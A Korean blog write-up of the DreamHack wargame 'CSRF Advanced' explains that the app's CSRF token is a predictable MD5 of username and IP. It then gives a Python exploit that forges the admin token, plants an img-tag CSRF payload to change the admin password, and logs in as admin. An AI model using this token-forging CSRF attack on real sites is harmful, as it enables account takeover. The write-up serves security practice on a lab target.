본문 바로가기

DreamHack

[DreamHack] CSRF Advanced

https://dreamhack.io/wargame/challenges/442

 

CSRF Advanced

Exercise: CSRF Advanced에서 실습하는 문제입니다.

dreamhack.io

난이도: Level 1

app.py

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("user not found");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

app.py에 로그인 코드를 보면, md5 hash 함수를 사용해서 토큰을 생성하는 것을 확인할 수 있습니다. 

@app.route("/change_password")
def change_password():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
        csrf_token = token_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')
    pw = request.args.get("pw", None)
    if pw == None:
        return render_template('change_password.html', csrf_token=csrf_token)
    else:
        if csrf_token != request.args.get("csrftoken", ""):
            return '<script>alert("wrong csrf token");history.go(-1);</script>'
        users[username] = pw
        return '<script>alert("Done");history.go(-1);</script>'

생성된 토큰은 패스워드 변경 시에 활용됩니다. 토큰을 사용하는 이유는 패스워드를 변경하고자 하는 사용자가 본인이 맞는지 인증하기 위함입니다. 

 

하지만, 위 코드에서는 로그인 시에 username과 remote_addr 값을 토대로 토큰을 생성하기 때문에 충분히 위조가 가능합니다. 

 

username에 admin을 넣고 remote_addr에 127.0.0.1을 넣어 토큰을 생성하면, admin의 토큰 값을 얻을 수 있습니다.  

 

이후, 얻은 토큰 값과 변경하고자 하는 패스워드 값을 change_password에 넘기면 admin 계정의 패스워드를 변경할 수 있습니다. 

 

변경된 admin 패스워드를 입력해 주면 admin 계정에 로그인할 수 있습니다. 

Exploit Code

# <img src="/change_password?pw=admin&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb">
import requests
import hashlib

## Create Token
username = b"admin"
ip = b"127.0.0.1"

csrf_token = hashlib.md5(username + ip).hexdigest()

print(csrf_token)

url = 'http://host3.dreamhack.games:9335'

## Change the password of admin
change = "\"/change_password?pw={}&csrftoken={}\"".format("admin",csrf_token)
data = {"param": '<img src={}>'.format(change)}

res = requests.post(url + '/flag',data=data)
print(res.text)

data = {"username":"admin", "password":"admin"}

## Login admin account 
res = requests.post(url + '/login',data=data)

print(res.text)

'DreamHack' 카테고리의 다른 글

[DreamHack] sql injection bypass WAF  (0) 2023.08.08
[DreamHack] Apache htaccess  (0) 2023.08.08
[DreamHack] ex-reg-ex  (0) 2023.08.08
[DreamHack] Flying Chars  (0) 2023.08.08
[DreamHack] phpreg  (0) 2023.08.08